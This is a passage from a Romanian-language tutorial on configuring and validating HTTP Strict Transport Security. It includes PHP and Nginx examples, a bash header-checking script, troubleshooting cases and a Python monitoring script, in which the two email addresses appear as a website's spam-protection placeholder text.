|| $_SERVER['SERVER_PORT'] == 443
|| (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if ($isHttps) {
// Setează HSTS doar pe HTTPS
header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");
} else {
// Redirect HTTP → HTTPS
$redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header('HTTP/1.1 301 Moved Permanently');
header('Location: ' . $redirect);
exit();
}
// Funcție helper reusabilă
function enforceHTTPS() {
if (empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] === 'off') {
if (!headers_sent()) {
$url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header('Location: ' . $url, true, 301);
exit;
}
}
// Setează HSTS
if (!headers_sent()) {
header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');
}
}
// Apelează la începutul aplicației
enforceHTTPS();
?>
Validare și testare post-implementare
Checklist de verificare imediată:
- Header-ul HSTS este prezent pe HTTPS
- Header-ul HSTS NU este prezent pe HTTP (dacă HTTP există)
- max-age este setat la minim 31536000 (1 an)
- includeSubDomains este prezent (dacă toate subdomeniile sunt HTTPS)
- Toate subdomeniile active au certificat SSL valid
- HTTP redirect către HTTPS funcționează (301 sau 308)
- Nu există mixed content warnings în browser console
- Cookie-urile sensibile au flag-ul Secure
- Aplicația funcționează complet pe HTTPS
Test manual - validare comportament browser:
PASUL 1: Curăță cache HSTS
Chrome: chrome://net-internals/#hsts
- Query domain: aplicatie.ro
- Delete domain: aplicatie.ro
Firefox: about:preferences#privacy
- Clear Data → Cookies and Site Data
PASUL 2: Prima vizită HTTPS
- Navighează: https://aplicatie.ro
- Verifică în DevTools → Network → Response Headers
- Trebuie să vezi: Strict-Transport-Security: max-age=31536000...
PASUL 3: Verifică că HSTS este activ
Chrome: chrome://net-internals/#hsts
- Query domain: aplicatie.ro
- Trebuie să vezi:
static_sts_domain: aplicatie.ro
static_upgrade_mode: STRICT
static_sts_include_subdomains: true
dynamic_upgrade_mode: STRICT
PASUL 4: Test încercare acces HTTP
- Tastează în browser: http://aplicatie.ro
- Observă: Browser convertește AUTOMAT la https:// FĂRĂ să facă request HTTP
- În Network tab vezi: (internal redirect) sau 307 Internal Redirect
PASUL 5: Test subdomenii
- Navighează: http://www.aplicatie.ro
- Trebuie conversie automată la HTTPS (dacă includeSubDomains activ)
Test automatizat - script complet de validare:
#!/bin/bash
# HSTS Validation Script
# Usage: ./validate_hsts.sh aplicatie.ro
DOMAIN=$1
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
if [ -z "$DOMAIN" ]; then
echo "Usage: $0 <domain>"
exit 1
fi
echo -e "${BLUE}======================================${NC}"
echo -e "${BLUE} HSTS Validation for $DOMAIN${NC}"
echo -e "${BLUE}======================================${NC}\n"
SCORE=0
MAX_SCORE=0
# Test 1: HTTPS Availability
echo -e "${BLUE}[Test 1] HTTPS Availability${NC}"
MAX_SCORE=$((MAX_SCORE + 10))
if curl -s -o /dev/null -w "%{http_code}" "https://$DOMAIN" --connect-timeout 10 | grep -q "^[23]"; then
echo -e " ${GREEN}✓${NC} HTTPS is accessible"
SCORE=$((SCORE + 10))
else
echo -e " ${RED}✗${NC} HTTPS is NOT accessible"
echo -e " ${RED}CRITICAL: Cannot proceed without HTTPS${NC}"
exit 1
fi
echo ""
# Test 2: HSTS Header Presence
echo -e "${BLUE}[Test 2] HSTS Header Presence${NC}"
MAX_SCORE=$((MAX_SCORE + 20))
HSTS_HEADER=$(curl -sI "https://$DOMAIN" | grep -i "strict-transport-security:" | tr -d '\r')
if [ -n "$HSTS_HEADER" ]; then
echo -e " ${GREEN}✓${NC} HSTS header found"
echo -e " ${BLUE}Header:${NC} $HSTS_HEADER"
SCORE=$((SCORE + 20))
else
echo -e " ${RED}✗${NC} HSTS header NOT found"
echo -e " ${RED}CRITICAL VULNERABILITY: Site vulnerable to SSL stripping${NC}"
fi
echo ""
# Test 3: max-age Value
echo -e "${BLUE}[Test 3] max-age Directive${NC}"
MAX_SCORE=$((MAX_SCORE + 20))
if [ -n "$HSTS_HEADER" ]; then
MAX_AGE=$(echo "$HSTS_HEADER" | grep -oP 'max-age=\K[0-9]+')
if [ -n "$MAX_AGE" ]; then
DAYS=$((MAX_AGE / 86400))
echo -e " ${BLUE}max-age:${NC} $MAX_AGE seconds ($DAYS days)"
if [ "$MAX_AGE" -ge 31536000 ]; then
echo -e " ${GREEN}✓${NC} max-age is excellent (≥ 1 year)"
SCORE=$((SCORE + 20))
elif [ "$MAX_AGE" -ge 10886400 ]; then
echo -e " ${YELLOW}⚠${NC} max-age is acceptable but could be longer"
echo -e " Recommended: 31536000 (1 year)"
SCORE=$((SCORE + 15))
elif [ "$MAX_AGE" -ge 86400 ]; then
echo -e " ${YELLOW}⚠${NC} max-age is too short (< 4 months)"
SCORE=$((SCORE + 10))
else
echo -e " ${RED}✗${NC} max-age is critically short (< 1 day)"
SCORE=$((SCORE + 5))
fi
else
echo -e " ${RED}✗${NC} max-age directive is missing"
fi
else
echo -e " ${RED}✗${NC} Cannot check (HSTS header missing)"
fi
echo ""
# Test 4: includeSubDomains
echo -e "${BLUE}[Test 4] includeSubDomains Directive${NC}"
MAX_SCORE=$((MAX_SCORE + 15))
if [ -n "$HSTS_HEADER" ]; then
if echo "$HSTS_HEADER" | grep -qi "includeSubDomains"; then
echo -e " ${GREEN}✓${NC} includeSubDomains is present"
SCORE=$((SCORE + 15))
else
echo -e " ${YELLOW}⚠${NC} includeSubDomains is missing"
echo -e " Subdomains are NOT protected by HSTS"
fi
else
echo -e " ${RED}✗${NC} Cannot check (HSTS header missing)"
fi
echo ""
# Test 5: preload Directive
echo -e "${BLUE}[Test 5] preload Directive${NC}"
MAX_SCORE=$((MAX_SCORE + 10))
if [ -n "$HSTS_HEADER" ]; then
if echo "$HSTS_HEADER" | grep -qi "preload"; then
echo -e " ${GREEN}✓${NC} preload directive is present"
echo -e " ${BLUE}Info:${NC} Submit to https://hstspreload.org if not done"
SCORE=$((SCORE + 10))
else
echo -e " ${YELLOW}⚠${NC} preload directive is missing"
echo -e " Consider adding for maximum protection"
SCORE=$((SCORE + 5))
fi
else
echo -e " ${RED}✗${NC} Cannot check (HSTS header missing)"
fi
echo ""
# Test 6: HTTP to HTTPS Redirect
echo -e "${BLUE}[Test 6] HTTP to HTTPS Redirect${NC}"
MAX_SCORE=$((MAX_SCORE + 15))
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "http://$DOMAIN" --connect-timeout 10)
LOCATION=$(curl -sI "http://$DOMAIN" | grep -i "location:" | awk '{print $2}' | tr -d '\r')
if [ "$HTTP_CODE" == "301" ] || [ "$HTTP_CODE" == "308" ]; then
if [[ "$LOCATION" == https://* ]]; then
echo -e " ${GREEN}✓${NC} HTTP redirects to HTTPS ($HTTP_CODE)"
echo -e " ${BLUE}Location:${NC} $LOCATION"
SCORE=$((SCORE + 15))
else
echo -e " ${RED}✗${NC} HTTP redirects but NOT to HTTPS"
echo -e " ${BLUE}Location:${NC} $LOCATION"
SCORE=$((SCORE + 5))
fi
elif [ "$HTTP_CODE" == "302" ] || [ "$HTTP_CODE" == "307" ]; then
if [[ "$LOCATION" == https://* ]]; then
echo -e " ${YELLOW}⚠${NC} HTTP redirects to HTTPS but using temporary redirect ($HTTP_CODE)"
echo -e " Recommended: Use 301 or 308 (permanent redirect)"
SCORE=$((SCORE + 10))
else
echo -e " ${RED}✗${NC} HTTP redirects but NOT to HTTPS"
fi
else
echo -e " ${RED}✗${NC} HTTP does NOT redirect properly (HTTP $HTTP_CODE)"
echo -e " ${RED}CRITICAL: Site serves content on HTTP${NC}"
fi
echo ""
# Test 7: HSTS on HTTP (should NOT be present)
echo -e "${BLUE}[Test 7] HSTS Header on HTTP${NC}"
MAX_SCORE=$((MAX_SCORE + 5))
HTTP_HSTS=$(curl -sI "http://$DOMAIN" 2>/dev/null | grep -i "strict-transport-security:")
if [ -z "$HTTP_HSTS" ]; then
echo -e " ${GREEN}✓${NC} HSTS header correctly NOT present on HTTP"
SCORE=$((SCORE + 5))
else
echo -e " ${YELLOW}⚠${NC} HSTS header present on HTTP (ineffective but harmless)"
echo -e " HSTS should only be sent over HTTPS"
SCORE=$((SCORE + 3))
fi
echo ""
# Test 8: SSL Certificate Validity
echo -e "${BLUE}[Test 8] SSL Certificate${NC}"
MAX_SCORE=$((MAX_SCORE + 5))
SSL_INFO=$(echo | openssl s_client -servername "$DOMAIN" -connect "$DOMAIN:443" 2>/dev/null | openssl x509 -noout -dates 2>/dev/null)
if [ -n "$SSL_INFO" ]; then
echo -e " ${GREEN}✓${NC} SSL certificate is valid"
NOT_AFTER=$(echo "$SSL_INFO" | grep "notAfter" | cut -d= -f2)
echo -e " ${BLUE}Expires:${NC} $NOT_AFTER"
SCORE=$((SCORE + 5))
else
echo -e " ${RED}✗${NC} SSL certificate issue detected"
fi
echo ""
# Test 9: Check Common Subdomains
echo -e "${BLUE}[Test 9] Common Subdomains${NC}"
SUBDOMAINS=("www" "api" "admin" "mail")
SUBDOMAIN_ISSUES=0
for SUB in "${SUBDOMAINS[@]}"; do
FULL_SUB="${SUB}.${DOMAIN}"
# Check if subdomain exists
if host "$FULL_SUB" &> /dev/null; then
echo -e " ${BLUE}Checking:${NC} $FULL_SUB"
# Check HTTPS availability
if curl -s -o /dev/null -w "%{http_code}" "https://$FULL_SUB" --connect-timeout 5 | grep -q "^[23]"; then
# Check HSTS
SUB_HSTS=$(curl -sI "https://$FULL_SUB" 2>/dev/null | grep -i "strict-transport-security:")
if [ -n "$SUB_HSTS" ]; then
echo -e " ${GREEN}✓${NC} HTTPS accessible, HSTS present"
else
echo -e " ${YELLOW}⚠${NC} HTTPS accessible, HSTS missing"
SUBDOMAIN_ISSUES=$((SUBDOMAIN_ISSUES + 1))
fi
else
echo -e " ${RED}✗${NC} HTTPS NOT accessible"
SUBDOMAIN_ISSUES=$((SUBDOMAIN_ISSUES + 1))
fi
fi
done
if [ $SUBDOMAIN_ISSUES -eq 0 ]; then
echo -e " ${GREEN}✓${NC} All checked subdomains are properly configured"
else
echo -e " ${YELLOW}⚠${NC} $SUBDOMAIN_ISSUES subdomain issue(s) found"
fi
echo ""
# Final Score
echo -e "${BLUE}======================================${NC}"
echo -e "${BLUE} FINAL SCORE${NC}"
echo -e "${BLUE}======================================${NC}"
PERCENTAGE=$((SCORE * 100 / MAX_SCORE))
echo -e "${BLUE}Score:${NC} $SCORE / $MAX_SCORE ($PERCENTAGE%)"
if [ $PERCENTAGE -ge 90 ]; then
echo -e "${GREEN}Grade: A+ (Excellent)${NC}"
echo -e "Your HSTS implementation is excellent!"
elif [ $PERCENTAGE -ge 80 ]; then
echo -e "${GREEN}Grade: A (Very Good)${NC}"
echo -e "Your HSTS implementation is very good with minor improvements possible."
elif [ $PERCENTAGE -ge 70 ]; then
echo -e "${YELLOW}Grade: B (Good)${NC}"
echo -e "Your HSTS implementation is good but needs some improvements."
elif [ $PERCENTAGE -ge 60 ]; then
echo -e "${YELLOW}Grade: C (Acceptable)${NC}"
echo -e "Your HSTS implementation needs significant improvements."
else
echo -e "${RED}Grade: F (Fail)${NC}"
echo -e "Your HSTS implementation has critical issues that need immediate attention."
fi
echo -e "${BLUE}======================================${NC}\n"
# Recommendations
if [ $PERCENTAGE -lt 90 ]; then
echo -e "${BLUE}RECOMMENDATIONS:${NC}\n"
if [ -z "$HSTS_HEADER" ]; then
echo -e "1. ${RED}CRITICAL:${NC} Add HSTS header immediately"
echo -e " Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\n"
fi
if [ -n "$MAX_AGE" ] && [ "$MAX_AGE" -lt 31536000 ]; then
echo -e "2. Increase max-age to at least 31536000 (1 year)\n"
fi
if [ -n "$HSTS_HEADER" ] && ! echo "$HSTS_HEADER" | grep -qi "includeSubDomains"; then
echo -e "3. Add includeSubDomains directive to protect all subdomains\n"
fi
if [ "$HTTP_CODE" != "301" ] && [ "$HTTP_CODE" != "308" ]; then
echo -e "4. Implement proper HTTP to HTTPS redirect (301 or 308)\n"
fi
if [ $SUBDOMAIN_ISSUES -gt 0 ]; then
echo -e "5. Fix subdomain HTTPS/HSTS configuration issues\n"
fi
if [ -n "$HSTS_HEADER" ] && ! echo "$HSTS_HEADER" | grep -qi "preload"; then
echo -e "6. Consider adding 'preload' directive and submitting to:\n"
echo -e " https://hstspreload.org/\n"
fi
fi
Salvează ca validate_hsts.sh și rulează:
chmod +x validate_hsts.sh
./validate_hsts.sh aplicatie.ro
Cazuri speciale și probleme comune
Caz 1: Mixed Content - Resurse HTTP pe pagini HTTPS
Problema:
<!-- Pagina este pe HTTPS dar include resurse HTTP -->
<script src="http://cdn.example.com/jquery.js"></script>
<img src="http://aplicatie.ro/logo.png">
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Roboto">
Impact: Browser-ul va bloca aceste resurse (mai ales scripturi) dacă HSTS este activ.
Soluție:
<!-- Opțiunea 1: Folosește HTTPS explicit -->
<script src="https://cdn.example.com/jquery.js"></script>
<img src="https://aplicatie.ro/logo.png">
<!-- Opțiunea 2: Protocol-relative URLs (legacy, nu mai e recomandat) -->
<script src="//cdn.example.com/jquery.js"></script>
<!-- Opțiunea 3 (RECOMANDATĂ): Relative URLs pentru resurse interne -->
<img src="/images/logo.png">
<script src="/js/app.js">
<!-- Opțiunea 4: CSP upgrade-insecure-requests -->
<!-- În header-ul CSP: -->
<!-- Content-Security-Policy: upgrade-insecure-requests -->
Detectare mixed content:
// În browser console pe o pagină HTTPS
// Verifică toate resursele încărcate
performance.getEntriesByType('resource').forEach(resource => {
if (resource.name.startsWith('http://')) {
console.warn('Mixed content found:', resource.name);
}
});
Automatizare cu CSP:
# Nginx - forțează upgrade automat HTTP → HTTPS pentru resurse
add_header Content-Security-Policy "upgrade-insecure-requests" always;
```
Acest header instruiește browser-ul să înlocuiască automat toate URL-urile HTTP cu HTTPS.
---
**Caz 2: Subdomeniu fără HTTPS când includeSubDomains este activ**
**Problema:**
```
- aplicatie.ro → HSTS cu includeSubDomains
- blog.aplicatie.ro → Nu are certificat SSL
Impact: Utilizatorii nu vor putea accesa blog.aplicatie.ro deloc - browser-ul va refuza conexiunea.
Soluții:
Opțiunea 1: Obține certificat SSL pentru subdomeniu
# Folosește Let's Encrypt pentru certificat gratuit
certbot certonly --nginx -d blog.aplicatie.ro
# Sau certificat wildcard pentru toate subdomeniile
certbot certonly --dns-cloudflare -d "*.aplicatie.ro" -d aplicatie.ro
Opțiunea 2: Exclude subdomeniul din HSTS (temporar)
# Nginx - HSTS fără includeSubDomains până când toate subdomeniile au SSL
server {
listen 443 ssl;
server_name aplicatie.ro;
# FĂRĂ includeSubDomains temporar
add_header Strict-Transport-Security "max-age=31536000" always;
}
# După ce toate subdomeniile au SSL, adaugă includeSubDomains
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
Opțiunea 3: Redirect subdomeniu către domeniu principal
# Nginx - redirect blog.aplicatie.ro → aplicatie.ro/blog
server {
listen 80;
server_name blog.aplicatie.ro;
return 301 https://aplicatie.ro/blog$request_uri;
}
```
---
**Caz 3: API sau Serviciu care trebuie accesat și prin HTTP (legacy clients)**
**Problema:**
```
- API modernă: https://api.aplicatie.ro
- Clienți legacy (embedded devices, vechi software) care folosesc HTTP
- HSTS îi va bloca complet
Soluții:
Opțiunea 1: Subdomeniu separat fără HSTS pentru legacy
# api-legacy.aplicatie.ro (fără HSTS, doar pentru legacy)
server {
listen 80;
server_name api-legacy.aplicatie.ro;
# NU adăuga HSTS aici
# NU include în includeSubDomains al domeniului principal
location / {
proxy_pass http://legacy-api-backend:8080;
}
}
# api.aplicatie.ro (cu HSTS pentru clienți moderni)
server {
listen 443 ssl;
server_name api.aplicatie.ro;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
location / {
proxy_pass http://api-backend:8080;
}
}
Opțiunea 2: Port diferit pentru legacy
# HTTPS pe portul standard 443 cu HSTS
server {
listen 443 ssl;
server_name api.aplicatie.ro;
add_header Strict-Transport-Security "max-age=31536000" always;
}
# HTTP pe port non-standard 8080 pentru legacy (fără HSTS)
server {
listen 8080;
server_name api.aplicatie.ro;
# Clienții legacy accesează: http://api.aplicatie.ro:8080
}
⚠️ ATENȚIE: Această abordare este un compromis de securitate. Planifică migrarea clienților legacy către HTTPS.
Caz 4: Elimina HSTS (rollback) - Situație de urgență
Problema: Ai activat HSTS prea devreme, aplicația are probleme pe HTTPS, trebuie rollback urgent.
Pasul 1: Oprește trimiterea header-ului HSTS
# Nginx - comentează sau șterge linia HSTS
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
Pasul 2: Trimite HSTS cu max-age=0 (invalidare)
# Trimite header cu max-age=0 pentru a instrui browser-ele să UITE HSTS
add_header Strict-Transport-Security "max-age=0" always;
```
**Pasul 3: Ține max-age=0 cel puțin 1-2 săptămâni**
Utilizatorii care au vizitat site-ul vor primi noul header și vor șterge HSTS din cache.
**Pasul 4: După 2 săptămâni, elimină complet header-ul**
**⚠️ LIMITĂRI:**
- Utilizatorii care nu revisitează site-ul în perioada de rollback vor rămâne cu HSTS activ
- Dacă site-ul era în HSTS Preload List, procesul este mult mai complex (vezi mai jos)
---
**Caz 5: Eliminare din HSTS Preload List**
**Context:** Ai adăugat domeniul în https://hstspreload.org/ dar acum vrei să-l scoți.
**Proces (LUNG - poate dura luni):**
```
1. Oprește trimiterea directivei 'preload' în header:
Strict-Transport-Security: max-age=0
2. Completează form de removal:
https://hstspreload.org/removal/
3. Așteaptă aprobare (câteva săptămâni)
4. După aprobare, HSTS va fi eliminat din:
- Chrome (actualizare în ~3 luni)
- Firefox (actualizare în ~3 luni)
- Safari (actualizare în ~3-6 luni)
- Edge (urmează Chrome)
5. Utilizatorii vor continua să vadă HSTS până când browser-ul lor primește update-ul listei
```
**⚠️ CONCLUZIE:** HSTS Preload este o **decizie (aproape) permanentă**. Testează EXTREM DE BINE înainte de a aplica pe preload list!
---
**Caz 6: HSTS și CDN / Load Balancers**
**Problema:** Aplicația e în spatele unui CDN (Cloudflare, CloudFront) sau load balancer.
**Configurare corectă:**
**Cloudflare:**
```
Opțiunea 1: Activează HSTS în Cloudflare Dashboard
SSL/TLS → Edge Certificates → HTTP Strict Transport Security (HSTS)
- Max Age: 12 months
- Include subdomains: Yes (dacă aplicabil)
- Preload: Yes (dacă sigur)
Cloudflare va adăuga automat header-ul HSTS în răspunsuri.
Opțiunea 2: Configurează la origin + Cloudflare
- Origin (server-ul tău) trimite HSTS
- Cloudflare îl propagă către client
AWS CloudFront:
// Lambda@Edge function pentru HSTS
exports.handler = (event, context, callback) => {
const response = event.Records[0].cf.response;
const headers = response.headers;
headers['strict-transport-security'] = [{
key: 'Strict-Transport-Security',
value: 'max-age=31536000; includeSubDomains; preload'
}];
callback(null, response);
};
Nginx ca reverse proxy:
server {
listen 443 ssl;
server_name aplicatie.ro;
# SSL termination la proxy
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# Adaugă HSTS la proxy level
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
location / {
# Proxy către backend (poate fi HTTP intern)
proxy_pass http://backend:8080;
# Informează backend-ul că request-ul original era HTTPS
proxy_set_header X-Forwarded-Proto https;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
Caz 7: Mobile Apps și HSTS
Problema: App-ul tău mobile face API calls către https://api.aplicatie.ro cu HSTS.
Considerații:
// iOS - URLSession respectă automat HSTS
// Dacă server-ul trimite HSTS, iOS îl va respecta în requests ulterioare
let url = URL(string: "https://api.aplicatie.ro/data")!
let task = URLSession.shared.dataTask(with: url) { data, response, error in
// HSTS este aplicat automat de sistem
}
// ⚠️ ATENȚIE: Dacă schimbi API-ul la HTTP în viitor,
// app-urile care au văzut HSTS nu vor mai putea conecta!
// Android - OkHttp / Retrofit respectă HSTS
val client = OkHttpClient.Builder()
.build()
// HSTS este respectat automat
// Nu trebuie configurare specială
```
**Best Practice pentru Mobile:**
```
1. Folosește HTTPS exclusiv pentru API-uri mobile
2. Activează HSTS pe API domain
3. Planifică migrări de domenii cu atenție (HSTS persistă)
4. Testează pe dispozitive reale înainte de lansare
Monitoring și alerting HSTS
Script de monitorizare continuă:
#!/usr/bin/env python3
import requests
import re
import smtplib
from email.mime.text import MIMEText
from datetime import datetime
def check_hsts(domain, alert_email=None):
"""Verifică HSTS și trimite alert dacă există probleme"""
issues = []
url = f"https://{domain}"
try:
response = requests.get(url, timeout=10)
hsts = response.headers.get('Strict-Transport-Security', '')
if not hsts:
issues.append(f"CRITICAL: HSTS header missing on {domain}")
else:
# Check max-age
max_age_match = re.search(r'max-age=(\d+)', hsts)
if max_age_match:
max_age = int(max_age_match.group(1))
if max_age < 2592000: # Less than 30 days
issues.append(f"WARNING: {domain} has low max-age: {max_age}s")
# Check includeSubDomains
if 'includesubdomains' not in hsts.lower():
issues.append(f"WARNING: {domain} missing includeSubDomains")
# Check HTTP redirect
http_response = requests.get(f"http://{domain}", timeout=10, allow_redirects=False)
if http_response.status_code not in [301, 302, 307, 308]:
issues.append(f"WARNING: {domain} HTTP not redirecting properly")
if issues and alert_email:
send_alert(domain, issues, alert_email)
return len(issues) == 0
except Exception as e:
issues.append(f"ERROR: Could not check {domain}: {e}")
if alert_email:
send_alert(domain, issues, alert_email)
return False
def send_alert(domain, issues, email):
"""Trimite email alert"""
subject = f"HSTS Alert: Issues detected on {domain}"
body = f"""
HSTS Security Alert
===================
Domain: {domain}
Time: {datetime.now()}
Issues Detected:
{''.join([f"- {issue}" for issue in issues])}
Please investigate immediately.
"""
msg = MIMEText(body)
msg['Subject'] = subject
msg['From'] = Această adresă de email este protejată contra spambots. Trebuie să activați JavaScript pentru a o vedea.'
msg['To'] = email
# Configure SMTP
# smtp = smtplib.SMTP('localhost')
# smtp.send_message(msg)
# smtp.quit()
print(f"Alert sent to {email}")
# Run checks
domains = [
'aplicatie.ro',
'www.aplicatie.ro',
'api.aplicatie.ro'
]
for domain in domains:
check_hsts(domain, alert_email=Această adresă de email este protejată contra spambots. Trebuie să activați JavaScript pentru a o vedea.')
Cron job pentru monitorizare zilnică:
# Adaugă în crontab -e
0 9 * * * /usr/bin/python3 /path/to/hsts_monitor.py >> /var/log/hsts_monitor.log 2>&1
CONCLUZIE SECȚIUNEA 2.3
HSTS reprezintă o protecție critică împotriva atacurilor de tip man-in-the-middle și SSL stripping, transformând HTTPS dintr-o opțiune într-o cerință obligatorie pentru comunicarea cu site-ul tău. Implementarea corectă necesită:
Checklist final HSTS:
- ✅ Certificat SSL valid pe toate domeniile și subdomeniile
- ✅ Redirect HTTP → HTTPS funcțional (301/308)
- ✅ Header HSTS cu max-age ≥ 31536000 (1 an)
- ✅ Directiva includeSubDomains (dacă toate subdomeniile sunt HTTPS)
- ✅ Zero mixed content pe site
- ✅ Cookie-uri cu flag Secure
- ✅ Testare exhaustivă înainte de preload
- ✅ Monitoring continuu al header-ului
Ordine recomandată de implementare:
- Asigură HTTPS funcțional 100%
- Implementează HSTS cu max-age scurt (testare)
- Crește gradual max-age
- Adaugă includeSubDomains (după verificare subdomenii)
- Consideră preload (doar după luni de stabilitate)
Continuăm cu secțiunea 2.4 (X-Content-Type-Options)


